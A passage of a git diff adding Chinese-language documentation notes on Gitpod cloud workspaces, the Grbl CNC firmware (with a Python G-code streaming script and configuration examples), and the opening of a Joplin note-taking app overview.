+本地 `node_modules`、全局包、试验性 `export` 越堆越乱。Gitpod 鼓励 **ephemeral workspace(临时工作区)**:修 bug 开一个新的,合并后扔掉;需要保留状态时再用 Snapshot 或持久卷——像住酒店而不是在自己家堆杂物。 + +--- + +## 核心概念拆解 + +### 1. Workspace(工作区) + +**Workspace** 是一次「某分支 / 某 commit 上的隔离开发会话」:包含克隆下来的 Git 仓库、容器文件系统、预装的工具链、暴露的端口和 IDE 会话。每个工作区有唯一 ID 和 URL,可用 `gp info`、`gp url` 查询。 + +工作区生命周期常见状态:**Starting → Running → Stopping → Stopped**。停止后再启动会保留 `/workspace` 下的改动,但 **`init` 任务不会重跑**(只有 `before` 和 `command` 会再执行)——设计意图是:`init` 负责一次性重活,重启只起服务。 + +### 2. `.gitpod.yml` — 环境的「配方单」 + +仓库根目录的 YAML 文件,告诉 Gitpod: + +- 用什么**镜像**(`image`) +- 启动时跑哪些**任务**(`tasks`) +- 暴露哪些**端口**(`ports`) +- 预装哪些 **VS Code 扩展**(`vscode.extensions`) +- 环境变量、checkout 路径等 + +可用 `gp init` / `gp init -i` 交互生成草稿;改完后必须 **commit 并新开工作区** 才生效(仅 restart 不够)。 + +### 3. Tasks 三阶段:`before` → `init` → `command` + +| 阶段 | 何时运行 | 典型用途 | 是否应在预构建中 | +|------|----------|----------|------------------| +| `before` | 每次工作区启动 | 装全局 CLI、改 shell 配置 | 可选 | +| `init` | 创建时一次;有 Prebuild 则在预构建里跑 | `npm install`、`cargo build`、下载模型 | **是** | +| `command` | 每次启动最后跑 | `npm run dev`、起数据库 | **否**(用户在线时才跑) | + +官方建议:耗时长、非交互、只需做一次的事放 `init`;每次启动都要做的短任务放 `before` 或 `command`;长期前台进程放 `command`(可以不退出)。 + +### 4. Prebuild(预构建) + +**Prebuild** 是 Gitpod 相对 GitHub Codespaces 等竞品的核心卖点之一:在代码 push 到指定分支 / 打开 PR 时,Gitpod 后台启动一个「隐形工作区」,只执行 `before` + `init`,然后把结果存成**可复用的快照**。用户随后从该 commit 开工作区时,直接基于快照启动,跳过最慢的步骤。 + +启用预构建通常需要: + +1. 在 Gitpod 控制台把仓库注册为 **Project** +2. 在控制台或组织策略里配置 **Prebuild 触发规则**(Classic 文档曾用 `.gitpod.yml` 的 `github.prebuilds`,新平台更多在 Dashboard 配置——以当前组织文档为准) +3. 把重活正确放进 `tasks[].init` + +调试预构建可用:`gp validate --prebuild`(只跑 `before` + `init`,模拟预构建结束时的磁盘状态)。 + +### 5. Project(项目) + +**Project** 把 Git 仓库与 Gitpod 组织绑定,集中管理:预构建策略、默认 IDE、工作区规格(workspace class)、成员权限。没有 Project,单次仍可用 `gitpod.io/#` 开工作区,但**预构建、团队策略**等能力会受限。 + +### 6. 工作区镜像(Workspace Image) + +默认常用 `gitpod/workspace-full` 等官方镜像(含 Node、Python、Go、Docker 等)。复杂需求可写 **`.gitpod.Dockerfile`** 并在 `.gitpod.yml` 里引用: + +```yaml +image: + file: .gitpod.Dockerfile +``` + +镜像里装的系统级依赖(`apt install`)适合 Dockerfile;项目级依赖(`npm ci`)适合 `init`。 + +### 7. 端口与预览(Ports) + +Web 应用监听 3000、8080 等端口时,在 `.gitpod.yml` 声明后,Gitpod 会生成 HTTPS 预览 URL,并在 IDE 里提示打开。CLI 可查:`gp url 3000`。`onOpen: open-preview` 可在端口就绪时自动打开浏览器面板。 + +### 8. `gp` CLI — 工作区内的瑞士军刀 + +每个工作区预装 **`gp`**(Gitpod CLI),用于: + +- `gp init` — 生成配置 +- `gp validate` / `gp validate --prebuild` — 本地调试配置 +- `gp ports` — 管理端口 +- `gp ssh` — 获取 SSH 连接命令 +- `gp snapshot` — 手动打快照 +- `gp stop` — 停止当前工作区 + +注意:`gp` 设计为**只在 Gitpod 工作区内使用**,不是给本机安装的全局工具。 + +### 9. Context URL — 一行链接触发环境 + +最简启动格式: + +```text +https://gitpod.io/#https://github.com/你的组织/你的仓库 +``` + +可在 `#` 前加查询参数,例如自动启动、指定编辑器: + +```text +https://gitpod.io/?autostart=true&editor=code#https://github.com/gitpod-io/empty +``` + +支持的 `editor` 包括 `code`(浏览器 VS Code)、`code-desktop`(本地 VS Code 连远程)、以及多种 JetBrains IDE。 + +### 10. 与相关项目的关系 + +| 维度 | Gitpod | GitHub Codespaces | [[coder]] / 自托管 | +|------|--------|-------------------|---------------------| +| 托管 | gitpod.io SaaS 为主 | 绑定 GitHub | 自建基础设施 | +| 配置 | `.gitpod.yml` | `devcontainer.json` | Terraform 模板 | +| 预构建 | Prebuild 一等公民 | 有 prebuild | 取决于模板设计 | +| 开源核心 | gitpod-io/gitpod | 闭源 | coder/coder 等 | +| IDE | VS Code Web + JetBrains | VS Code 为主 | 多种 | + +Gitpod 团队也维护 [[openvscode-server]]——把上游 VS Code 的 Server 构建单独开源,与 Gitpod 商用工作区用的 IDE 技术栈同源。 + +--- + +## 代码示例 1:最小可用的 `.gitpod.yml` + +下面是一个 Node.js 全栈项目的典型配置:预构建装依赖,启动时只跑 dev server,并暴露前端端口。 + +```yaml +# .gitpod.yml — 放在仓库根目录 +image: gitpod/workspace-node-lts + +tasks: + - name: Install & Dev + init: | + npm ci + npm run build --if-present + command: npm run dev + +ports: + - port: 3000 + onOpen: open-preview + visibility: public + name: Web App + +vscode: + extensions: + - dbaeumer.vscode-eslint + - esbenp.prettier-vscode + +env: + NODE_ENV: development +``` + +**阅读要点:** + +- `init` 里的 `npm ci` 会在 **Prebuild** 阶段执行(若已启用),新开工作区时通常跳过 +- `command` 里的 `npm run dev` 每次启动都会跑,适合长期占用的 dev server +- `ports[3000]` 让 Gitpod 生成可分享的预览链接,方便给 Reviewer 看 UI +- 修改此文件后,需要 **push 并新开工作区**(不是 Restart)才能验证 + +本地在工作区内调试配置(不立刻 commit): + +```bash +# 模拟「普通启动」:before + init + command 全跑 +gp validate + +# 模拟「预构建结束时的磁盘」:只跑 before + init +gp validate --prebuild +``` + +--- + +## 代码示例 2:自定义 Dockerfile + 多任务并行 + +monorepo 或需要系统级依赖时,用 Dockerfile 打底层,用多个 task 并行起前后端。 + +**`.gitpod.Dockerfile`:** + +```dockerfile +FROM gitpod/workspace-full + +# 系统级依赖:进镜像,预构建和工作区共享 +RUN sudo apt-get update && sudo apt-get install -y \ + postgresql-client \ + redis-tools \ + && sudo rm -rf /var/lib/apt/lists/* +``` + +**`.gitpod.yml`:** + +```yaml +image: + file: .gitpod.Dockerfile + +tasks: + - name: Backend API + init: | + cd apps/api + pip install -r requirements.txt + command: | + cd apps/api + uvicorn main:app --host 0.0.0.0 --port 8000 + + - name: Frontend + init: | + cd apps/web + npm ci + command: | + cd apps/web + npm run dev + +ports: + - port: 8000 + onOpen: open-preview + name: API + - port: 5173 + onOpen: open-preview + name: Vite Dev + +vscode: + extensions: + - ms-python.python + - bradlc.vscode-tailwindcss +``` + +**阅读要点:** + +- 每个 `tasks` 数组元素在**独立终端**里跑;同一元素内的 `before`/`init`/`command` 才顺序执行 +- 两个服务的 `init` 都可被 Prebuild 提前完成;用户打开工作区时两个 `command` 并行启动 +- `apt` 装系统包放 Dockerfile;`pip`/`npm` 装项目依赖放 `init`,符合「预构建缓存项目状态」的最佳实践 + +--- + +## 从零上手:第一次用 Gitpod + +### 步骤 1:注册并连接 Git 提供商 + +在 [gitpod.io](https://gitpod.io) 用 GitHub / GitLab / Bitbucket 登录,授权读取需要开发的仓库。 + +### 步骤 2:为仓库添加 `.gitpod.yml` + +在目标仓库根目录提交配置(见上文示例)。不确定时可先在任意 Gitpod 工作区里对空项目运行 `gp init -i`,再把生成结果拷回仓库。 + +### 步骤 3:(推荐)创建 Project 并开启 Prebuild + +控制台 → **Projects** → 导入仓库 → 配置 Prebuild 触发分支(如 `main`、PR)。首次 push 带 `.gitpod.yml` 的 commit 后,在 Project 的 **Prebuilds** 页可看到后台构建日志。 + +### 步骤 4:打开工作区 + +任选其一: + +- 浏览器地址栏:`https://gitpod.io/#<你的仓库 HTTPS URL>` +- 安装 Gitpod 浏览器扩展,在 GitHub PR / commit 页点 **Open in Gitpod** +- 控制台从 Project 里选分支启动 + +### 步骤 5:开发、分享、收尾 + +- 用 `gp url ` 拿预览链接发给同事 +- 用 `gp snapshot` 在实验性大改前留备份 +- 用 `gp stop` 或等 timeout 停止工作区,避免浪费配额 + +--- + +## Prebuild 工作流(心智模型) + +```text +开发者 push 到 main + │ + ▼ +Gitpod Project 触发 Prebuild + │ + ├─ clone 仓库 @ 该 commit + ├─ 执行 tasks.before(若有) + ├─ 执行 tasks.init(npm ci, build…) + └─ 冻结磁盘快照,标记为「可用预构建」 + │ + ▼ +同事点击 gitpod.io/#… 或 PR 上的 Open + │ + ├─ 基于快照启动(跳过 init) + ├─ 执行 tasks.before(若有) + └─ 执行 tasks.command(npm run dev…) + │ + ▼ +Running:浏览器 IDE 可写代码、终端可调试 +``` + +若 Prebuild 失败,控制台通常会有 CI 式检查;Classic 配置曾支持 `addCheck: prevent-merge-on-error`,避免在环境没准备好时合并 PR。 + +--- + +## 常见坑与最佳实践 + +1. **把 `npm run dev` 写进 `init`** — 预构建会卡住或产生无意义的快照;长期进程应放 `command`。 +2. **修改 `.gitpod.yml` 只 Restart** — 不会重新读配置;必须 **新开工作区**。 +3. **在 `/workspace` 外写文件** — 停止后可能丢失;持久化数据应放在 `/workspace` 或显式卷。 +4. **多个 `-` 写错 tasks 结构** — 三个独立 `-` 会并行开三个终端;同一任务的三阶段应写在**同一个** `-` 块里。 +5. **预构建未启用却期望秒开** — 确认 Project、分支策略、以及 `init` 是否确实可缓存。 +6. **Secrets** — 不要把 token 写进 `.gitpod.yml`;用 Gitpod 控制台或 `gp env` 注入环境变量。 + +--- + +## 和 Dev Container 的对比(怎么选) + +**Dev Container**(`.devcontainer/devcontainer.json`)是 VS Code / Codespaces 生态的标准;**Gitpod** 用 `.gitpod.yml`,概念相似但字段不同。若团队已全量 Codespaces,迁移成本需评估;若想要**跨 Git 托管 + 强 Prebuild + JetBrains 云端 IDE**,Gitpod 更对口。也有团队两者并存:Dev Container 描述容器,Gitpod 负责编排与预构建——以组织实际文档为准。 + +自托管、数据主权要求极高时,应看 [[coder]]、[[code-server]] + K8s 等方案;Gitpod 开源核心可研究,但「一键 SaaS 体验」仍是 gitpod.io 的主战场。 + +--- + +## 小结 + +| 你记住这一句 | 展开 | +|--------------|------| +| Gitpod = 浏览器里的完整开发机 | 仓库 + IDE + 终端 + 预览 URL | +| `.gitpod.yml` = 环境配方 | 镜像、任务、端口、扩展全在这里 | +| Prebuild = 提前铺床 | `init` 在 push 时跑完,打开近乎秒开 | +| `init` 一次,`command` 每次 | 重启工作区不会重跑 `init` | +| `gp validate --prebuild` | 调试预构建的利器 | + +Gitpod 不是「把笔记本屏幕投到云端」那么简单;它把**可复现环境**和**预构建快照**产品化,让「开一个干净、就绪的开发环境」像订酒店一样可预期。对开源贡献者、远程团队、大依赖 monorepo 来说,Prebuild 省下的每天十分钟 `npm install`,一年就是几十小时——足够多修好几个 bug。 + +--- + +## 延伸阅读 + +- 官方文档:[Configure workspaces overview](https://www.gitpod.io/docs/classic/user/configure/workspaces/overview) +- `.gitpod.yml` 完整字段:[Reference](https://www.gitpod.io/docs/classic/user/references/gitpod-yml) +- 源码与 issue:[gitpod-io/gitpod](https://github.com/gitpod-io/gitpod) +- 相关笔记:[[openvscode-server]]、[[coder]]、[[vscode]]、[[code-server]] diff --git a/src/content/docs/projects/grbl.md b/src/content/docs/projects/grbl.md new file mode 100644 index 000000000..35372896c --- /dev/null +++ b/src/content/docs/projects/grbl.md @@ -0,0 +1,299 @@ +--- +title: Grbl — 让 Arduino 听懂 G-code 的 CNC「翻译官」 +来源: 'https://github.com/gnea/grbl' +日期: '2026-06-13' +子分类: 嵌入式 +分类: 操作系统 +provenance: 'pipeline-v3' +--- + +## 是什么 + +**Grbl** 是 [gnea/grbl](https://github.com/gnea/grbl) 维护的开源 **嵌入式 G-code 解析器 + CNC 运动控制器**:用高度优化的 C 语言写在 Arduino(典型为 ATmega328p,如 Uno / Nano)上,把上位机发来的 **标准 G-code 文本** 翻译成 **步进电机驱动器能听懂的脉冲时序**,从而驱动小型 CNC 铣床、激光雕刻机、笔式绘图仪等「三轴运动平台」。 + +日常类比:**餐厅后厨里的传菜员 + 节拍器**。 + +想象你是顾客(CAM 软件 / 手工写的 G-code),厨房前台(串口终端、Universal Gcode Sender、LightBurn、Candle 等 GUI)把你的点菜单一行行递给传菜员(Grbl)。传菜员 **不亲自炒菜**(不算复杂刀路几何学——那是 CAM 的事),他的职责是: + +1. **读懂** 每一行指令(`G0` 快速移动、`G1` 直线切削、`G2/G3` 圆弧……); +2. **排期**——在脑子里排好「先加速、再匀速、再减速」的时间表(规划器 planner); +3. **打拍子**——按微秒级节拍给步进驱动器发 STEP 脉冲(步进 ISR),让 X/Y/Z 同步到位; +4. **汇报**——每做完一行回一个 `ok`,出错了回 `error:编号`,急停时喊 `ALARM`。 + +Grbl 的哲学是 **做少、做精、做实时**:它故意不做 U 盘直读、LCD 菜单、网络栈——那些交给上位机 GUI。固件只专注 **干净、可靠的运动**。官方 README 称:在 16MHz AVR 上可达约 **30kHz 稳定、低抖动的控制脉冲**;v1.1 支持圆弧/螺旋线、探针循环、刀长补偿、激光/主轴 PWM、点动(jog)等工业常用子集,但不支持宏变量和大多数 canned cycle(官方认为 GUI 应预先展开成直线 G-code)。 + +与 [[marlin]] / [[klipper]] 的对比:Marlin、Klipper 面向 **3D 打印**(挤出机、热床 PID、多轴 E);Grbl 面向 **减材 / 2.5D 雕刻**(主轴/激光、工件坐标系 G54–G59、软限位与回零)。三者都解析 G-code,但 Grbl 更轻、更老、更「单板串口即用」,是开源 CNC 生态的奠基固件之一。 + +## 解决什么问题 + +在 Grbl 流行之前,许多 DIY CNC 依赖 **并口(LPT)+ PC 软件** 直接吐脉冲:换电脑、换系统、USB 隔离都麻烦,实时性也难保证。Grbl 用一块十几美元的 Arduino 把问题收成: + +| 痛点 | 并口时代 | Grbl 的回应 | +| --- | --- | --- | +| 主机实时性 | Windows 后台任务会卡脉冲 | MCU 专管步进,主机只发文本 | +| 协议标准 | 各软件私有二进制 | 串口 + G-code + `$` 配置,文档公开 | +| 成本 | 老式 PC 并口稀缺 | Uno + 驱动板即可 | +| 加减速 | 容易失步、拐角过冲 | 内建 look-ahead 规划器(最多 16 段缓冲) | +| 安全 | 限位/急停接线随意 | 状态机 + ALARM + 软/硬限位可配置 | + +核心问题:**能否在资源极少的 8 位 MCU 上,用开源固件可靠执行 CAM 输出的 G-code,并给 GUI 留出清晰的串口协议?** Grbl 的答案持续了十余年,衍生出 grblHAL(多 MCU)、Grbl_Esp32 等分支,但 gnea/grbl 仍是 AVR 路线的参考实现。 + +## 核心概念 + +### 1. 源码模块:一条 G-code 如何变成脉冲 + +仓库 `grbl/` 目录按职责拆分(见 [GitHub 文件树](https://github.com/gnea/grbl/tree/master/grbl)): + +``` +串口 serial.c ←→ 协议层 protocol.c(主循环 + 实时命令) + ↓ + G-code 解析 gcode.c(模态状态、语法检查) + ↓ + 运动入口 motion_control.c(mc_line 等) + ↓ + 规划器 planner.c(加减速、拐角速度、16 段缓冲) + ↓ + 步进执行 stepper.c(定时器 ISR 发 STEP) + ↓ + 引脚映射 cpu_map.h / config.h +``` + +- **`protocol_main_loop()`**(`protocol.c`):上电初始化、读限位、进入无限循环;在「等缓冲区有空位」等阻塞点反复调用 **`protocol_exec_rt_system()`**,处理 `!` 暂停、`~` 继续、`?` 状态查询等 **实时命令**,避免与 G-code 解析抢状态。 +- **`gc_execute_line()`**(`gcode.c`):解析一行;错误则 **整行丢弃** 并 `error:n`,防止半行模态污染后续程序。 +- **`plan_buffer_line()`**(`planner.c`):把目标位置、进给率变成带加速度约束的运动段队列。 +- **`stepper.c`**:从规划器取出段,在硬件定时器中断里精确翻转 STEP 引脚;脉冲宽度由 `$0`(步进脉冲微秒数)等设置约束。 + +数据流可记为:**文本行 → 解析器 → 规划队列 → ISR 脉冲 → 机械位移**。 + +### 2. 三层缓冲:为什么流式发送有讲究 + +Grbl 与上位机之间典型存在: + +| 缓冲 | 容量(量级) | 作用 | +| --- | --- | --- | +| 串口 RX | 约 127 字符 | 暂存主机发来的行 | +| Planner | 16 行运动 | 预计算加减速,look-ahead | +| 步进段 | 执行中 | ISR 正在消费的脉冲序列 | + +官方 [Interface 文档](https://github.com/gnea/grbl/blob/master/doc/markdown/interface.md) 定义两种流式协议: + +- **Send-Response(推荐新手)**:发一行 → 等 `ok` → 再发下一行;最简单,但若程序含大量短线段,主机往返延迟可能 **饿死** planner,运动一停一停。 +- **Character-Counting(高性能)**:跟踪已发送字符数,在不超过 128 字节 RX 的前提下 **尽量灌满** 串口缓冲;配合 `$C` 预检查模式,适合激光机等高速短段作业。 + +实时字符(`?`、`!`、`~`、软复位 `0x18` 等)**不进 RX 缓冲**,在串口层被截获并置标志位——这是 Grbl 能在运动中立刻暂停的关键。 + +### 3. 状态机:什么时候能动、什么时候必须停 + +`sys.state` 决定当前可接受的命令(Wiki / DeepWiki 归纳): + +| 状态 | 含义 | 典型限制 | +| --- | --- | --- | +| `Idle` | 空闲 | 可接受新 G-code、`$` 设置 | +| `Run` | 执行程序 | 实时命令、上报可用 | +| `Hold` | 进给保持 | 规划减速停,可 `~` 恢复 | +| `Jog` | 点动 | 与主程序解析器隔离(v1.1) | +| `Homing` | 回零 | 专用周期 | +| `Alarm` | 报警 | 需 `$X` 解锁或复位 | +| `Sleep` | 休眠 `$SLP` | 关闭步进保持,仅硬复位唤醒 | + +**ALARM** 与 **error** 不同:`error` 是单行解析失败;`ALARM` 是硬限位触发、急停、探针失败等 **系统级停机**,必须人工介入。 + +### 4. `$` 设置与 EEPROM:机器的「出厂参数表」 + +Grbl 不把机床参数写死在编译里(基础引脚在 `config.h` / `cpu_map.h`),运行时用 **`$编号=值`** 存入 EEPROM。常用项(详见 [settings.md](https://github.com/gnea/grbl/blob/master/doc/markdown/settings.md)): + +| 设置 | 含义 | +| --- | --- | +| `$0` | 步进脉冲宽度(µs),默认约 10 | +| `$1` | 步进空闲后多久关闭保持电流(ms,255=常使能) | +| `$3` | 各轴方向反转位掩码 | +| `$100–$102` | X/Y/Z **steps/mm**(标定核心) | +| `$110–$112` | 各轴最大速率(mm/min) | +| `$120–$122` | 各轴加速度(mm/s²) | +| `$130–$132` | 各轴最大行程(软限位用) | +| `$22` | 是否启用回零 | +| `$23` | 回零方向掩码 | +| `$32` | 激光模式(M3/M5 变功率而非等待转速) | + +查询:`$$` 打印全部;`$#` 打印坐标系与 G92 等参数;`$G` 打印模态状态;`$I` 打印版本/build 信息。 + +**steps/mm 计算**(Wiki 配置指南): + +``` +steps/mm = (步进电机每圈整步数 × 每步微步数) / 每圈丝杠/皮带移动的距离(mm) +``` + +例:200 整步 × 16 微步,丝杠导程 8mm/rev → `(200×16)/8 = 400` steps/mm。 + +### 5. 坐标系:G54 与 G92 + +- **工件坐标系** `G54`–`G59`:CAM 常输出「相对于工件零点」的坐标,Grbl 支持六套可切换偏置(`G10 L2` 写入 EEPROM)。 +- **G92 坐标偏移**:历史遗留的「当前点定义为某坐标」;v1.1 建议在 GUI 侧用 `G10` 替代;`$C` 检查模式结束会软复位并 **清除 G92**。 + +### 6. 支持的 G-code 子集(v1.1) + +README 列出主要支持项(**不支持** 宏、`G81` 等多数 canned cycle): + +- 运动:`G0` `G1` `G2` `G3` `G38.2–.5`(探针)`G80` +- 单位/距离:`G20/G21` `G90/G91` `G91.1`(圆弧 IJK 增量) +- 平面:`G17/G18/G19` +- 坐标:`G54–G59` `G28/G30` 回参考点 +- 流程:`M0` `M2` `M30`;冷却 `M7/M8/M9`;主轴 `M3/M4/M5` + +## 从零上手:推荐路径 + +1. **硬件**:Arduino Uno/Nano + CNC Shield(如 A4988/DRV8825)+ 步进电机 + 限位开关(可选)+ 12–24V 电源。`config.h` 选对 `cpu_map.h` 引脚表(常见为 `cpu_map_atmega328p.h`)。 +2. **烧录**:用 Arduino IDE 或 PlatformIO 编译 `grbl` 项目并上传;上电串口 115200 应看到欢迎语 `Grbl 1.1h ['$' for help]`。 +3. **空载试转**:串口发 `G91 G0 X1` / `G91 G0 X-1` 看 X 轴是否约动 1mm;方向反了改 `$3`。 +4. **标定 `$100–$102`**:用卡尺实测,微调 steps/mm。 +5. **回零与软限位**:装限位后设 `$22=1`,设 `$130–$132` 行程,`$20=1` 开软限位(须先回零)。 +6. **上位机**:UGS、Candle、LaserGRBL、LightBurn(激光)等,负责发送文件与可视化;固件保持 Grbl 即可。 + +## 代码示例 + +### 示例 1:用 Python 以 Send-Response 方式流式发送 G-code + +下列脚本复现官方 `simple_stream.py` 的核心逻辑:每行等待 `ok` 或 `error:`,适合学习与调试(需 `pip install pyserial`)。 + +```python +#!/usr/bin/env python3 +"""向 Grbl 流式发送 G-code(Send-Response 协议)""" +import serial +import time +import sys + +PORT = "/dev/tty.usbserial-1410" # macOS/Linux 按实际修改;Windows 如 COM3 +BAUD = 115200 + +PROGRAM = [ + "G21", # 毫米单位 + "G90", # 绝对坐标 + "G0 X0 Y0 Z0", # 快速到原点(需已回零或知悉坐标) + "G1 X10 F500", # 直线到 X=10,进给 500 mm/min + "G1 Y10", + "G0 X0 Y0", +] + +def wait_for_response(ser: serial.Serial) -> str: + """读取直到 ok / error: 行(忽略 <...> 状态推送)""" + while True: + line = ser.readline().decode("ascii", errors="ignore").strip() + if not line: + continue + if line.startswith("<"): + print(f" [status] {line}") + continue + return line + +def main() -> None: + with serial.Serial(PORT, BAUD, timeout=1) as ser: + time.sleep(2) # 等待 Grbl 启动 + ser.reset_input_buffer() + for cmd in PROGRAM: + print(f">> {cmd}") + ser.write((cmd + "\n").encode("ascii")) + resp = wait_for_response(ser) + print(f"<< {resp}") + if resp.startswith("error"): + sys.exit(f"Grbl 报错,已停止: {resp}") + print("程序发送完毕") + +if __name__ == "__main__": + main() +``` + +要点: + +- 状态报告 `` 是 **push 消息**,不算在流式 ack 里,应单独解析或忽略。 +- 可随时发 `?` 查询位置(不占用 RX 缓冲);暂停发 `!`,继续发 `~`。 +- 修改 EEPROM 的指令(`$100=400` 等)应在 **Idle** 下发,且不要用 character-counting 在写入时继续灌数据。 + +### 示例 2:串口配置会话与最小加工 G-code + +连接 115200 串口终端后,典型首次配置(数值需按你的机械更换): + +```text +$$ # 查看当前全部设置 +$100=400.000 # X 轴 steps/mm +$101=400.000 # Y +$102=400.000 # Z +$110=5000.000 # X 最大速率 mm/min +$120=200.000 # X 加速度 mm/s² +$22=1 # 启用回零 +$23=1 # X 回零方向(位掩码,按接线调整) +$130=200.000 # X 最大行程 mm +$20=1 # 软限位(需已回零) +$X # 若有 ALARM,解锁 +$H # 执行回零周期 +$G # 查看模态:单位、距离模式、坐标系 +``` + +确认空载安全后,可发送极简「矩形刀路」: + +```gcode +G21 G90 G54 +G0 Z5.000 +G0 X0 Y0 +G1 Z-1.000 F100 +G1 X50 Y0 F300 +G1 X50 Y30 +G1 X0 Y30 +G1 X0 Y0 +G0 Z5.000 +M5 +``` + +若仅测试移动、主轴未接,可省略 `M3`/`M5`;激光模式(`$32=1`)下 `M3 S1000` 用 S 值调功率。 + +### 示例 3:编译期引脚与功能开关(`config.h` 片段) + +Grbl 行为大量由 `grbl/config.h` 在 **编译期** 决定(与运行期 `$` 互补)。例如启用激光模式、改报告类型: + +```c +// grbl/config.h 节选 — 修改后需重新编译烧录 + +#define DEFAULT_LASER_MODE_ENABLE 1 // 1=激光/PWM 模式默认开启(亦可用 $32 运行时改) + +// 状态报告中位置用机器坐标 MPos 还是工件坐标 WPos +#define REPORT_MACHINE_POSITION // 默认 MPos;注释掉则 WPos + +#define HOMING_INIT_LOCK // 上电必须回零才能动(视安全需求) + +// 默认串口波特率(亦可用 $10 等设置,视版本) +#define BAUD_RATE 115200 +``` + +引脚定义在 `cpu_map.h` 选择的板级文件中,例如 `STEP_DDR`、`X_STEP_BIT` 等;换板或换接线时必须与 **CNC Shield 丝印** 一致,否则表现是「某轴不动或乱转」。 + +## 与生态的关系 + +| 组件 | 角色 | +| --- | --- | +| CAM(Fusion 360、Carbide Create、FreeCAD Path) | 生成刀路 G-code | +| 控制 GUI(UGS、Candle、gsender、bCNC) | 流式发送、可视化、探针向导 | +| 激光软件(LightBurn) | 图像转 G-code,依赖 Grbl 激光模式 | +| grblHAL / Grbl_Esp32 | 更高主频、更多轴、以太网 — 协议思想延续 Grbl | +| [[klipper]] | 不同赛道(3D 打印);主机+MCU 分工,非 G-code 单行 ack 同一套 | + +Grbl 文档入口:[Wiki](https://github.com/gnea/grbl/wiki)、[Interface](https://github.com/gnea/grbl/blob/master/doc/markdown/interface.md)、[Settings](https://github.com/gnea/grbl/blob/master/doc/markdown/settings.md)、[Configuration 指南](https://github.com/gnea/grbl/wiki/Grbl-v1.1-Configuration)。 + +## 常见问题 + +**Q:发了 G-code 没动静?** +先 `$X` 清报警,确认 `Idle` 而非 `Alarm`;是否完成回零(若启了 `$22`);`$1` 是否让步进保持关闭过快;进给 `F` 是否过小。 + +**Q:`error:22` Feed rate not set?** +`G1`/`G2`/`G3` 需要 `F` 字;或在之前行已设进给模态。 + +**Q:圆弧 `error:34`?** +半径法圆弧几何无解,改用小线段或 IJK 偏移法,并检查 `G91.1`。 + +**Q:和 Marlin 能共用一块板吗?** +硬件可能都是 Arduino+驱动,但 **固件不同、G-code 扩展不同**;3D 打印机刷 Marlin,CNC/激光刷 Grbl 或衍生版,勿混用。 + +**Q:性能瓶颈?** +大量 `G1` 短段(尤其 G64 未等效的高密多段)会吃满 16 段 planner;用 character-counting 流式、CAM 简化路径,或升级 grblHAL。 + +## 小结 + +Grbl 把 CNC 运动控制从「PC 并口吐脉冲」收成 **「串口 + G-code + 单板实时」** 的标准范式:上位机负责文件与人机界面,固件负责 **解析、规划、脉冲、状态机**。零基础学习路径是:**串口对话 → `$` 标定 → 回零与限位 → Send-Response 发程序 → 再读 Interface 做 GUI 或自动化**。掌握 planner 缓冲、实时命令与 ALARM 语义后,读 `protocol.c` / `planner.c` 源码会顺畅很多——那正是 Grbl 作为嵌入式运动控制教科书的魅力所在。 diff --git a/src/content/docs/projects/joplin.md b/src/content/docs/projects/joplin.md new file mode 100644 index 000000000..9b3f28cb7 --- /dev/null +++ b/src/content/docs/projects/joplin.md @@ -0,0 +1,324 @@ +--- +title: Joplin — 开源 Evernote 替代 +来源: https://github.com/laurent22/joplin +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:把「带锁抽屉的笔记本柜」搬进自己家里 + +想象你有一组 **活页笔记本**:每一本是一个主题(工作、读书、旅行),每一页是一条笔记,页角贴彩色标签方便检索,还可以夹照片、PDF 当附件。Evernote 像租了一间 **托管仓库**——方便,但箱子格式是房东定的,涨价或关门时,搬运会疼。 + +**Joplin 像把同款柜子买回家**:笔记默认存在你电脑/手机本地,正文是 **Markdown 纯文本**(不是专有富文本黑盒),你可以用任意编辑器打开;想备份就拷贝文件夹,想同步就自己选 Dropbox、Nextcloud、WebDAV、OneDrive 或 Joplin Cloud,甚至可选 **端到端加密**,云端只看到密文。浏览器装 **Web Clipper** 还能把网页「撕下来」塞进指定笔记本——和 Evernote 剪藏类似,但数据主权在你手里。 + +Joplin 由 Laurent Cozic 发起,是 AGPL 许可的开源跨平台笔记与待办应用([laurent22/joplin](https://github.com/laurent22/joplin)),桌面端基于 Electron + SQLite,移动端基于 React Native,另有终端版 CLI。零基础路径:**安装桌面版 → 建第一个笔记本 → 写一条 Markdown 笔记 → 试同步/导出 → 按需启用 Web Clipper 或 CLI 自动化**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:专有格式与供应商锁定 + +Evernote 的 ENEX、内部格式与订阅绑定,迁移成本高。Joplin **原生支持导入 ENEX**(含附件与元数据),日常存储为 Markdown;可导出 **JEX**(完整归档)、**MD**、**RAW** 等,避免「笔记只能活在一个 App 里」。 + +### 痛点 2:隐私与离线可用 + +笔记 **offline first**:无网也能读写、全文搜索;同步是可选层,不是前提。配合 E2EE,同步目标(包括自建 WebDAV)无法读取明文。 + +### 痛点 3:跨平台与剪藏 + +官方提供 Windows / macOS / Linux / Android / iOS / Terminal 客户端,并维护 Firefox、Chrome **Web Clipper**。剪藏可选笔记本、标签,支持简化页面或完整 HTML。 + +### 痛点 4:可扩展 + +**插件系统**(多进程沙箱)可扩展编辑器、主题、导入导出格式;**Data API**(REST,默认 `localhost:41184`)供脚本、插件、自动化写入笔记——适合把 RSS、邮件、CI 日志接进知识库。 + +--- + +## 核心概念拆解 + +### 1. Notebook(笔记本 / Folder) + +笔记的容器,支持 **嵌套子笔记本**(类似 Evernote 堆叠)。每条笔记属于且仅属于一个笔记本(可通过移动变更)。在数据模型里对应 `Folder`。 + +### 2. Note(笔记) + +最小内容单元,字段含 `title`、`body`(Markdown)、`created_time`、`updated_time`、`user_updated_time` 等。支持 **待办语法**:`- [ ]` / `- [x]`,与正文混排。内置 **版本历史**(默认约 90 天),可回溯或恢复旧稿。 + +### 3. Tag(标签) + +跨笔记本的横向分类,一条笔记可打多个标签。与笔记本正交:适合「#面试」「#待整理」这类贯穿项目的标记。 + +### 4. Resource(资源 / 附件) + +图片、PDF 等二进制附件,在 Markdown 里以 `![](:resource_id)` 或类似内部链接引用;同步时与笔记一并上传。导入 Evernote 时会从 ENEX 还原资源。 + +### 5. 同步(Sync)与驱动抽象 + +Joplin **没有强制官方云**(另有可选 Joplin Cloud 服务)。同步通过 **轻量驱动** 对接文件系统式后端:Dropbox、OneDrive、Nextcloud、WebDAV、本地目录等。逻辑在抽象层完成,换后端不必改笔记格式。 + +### 6. 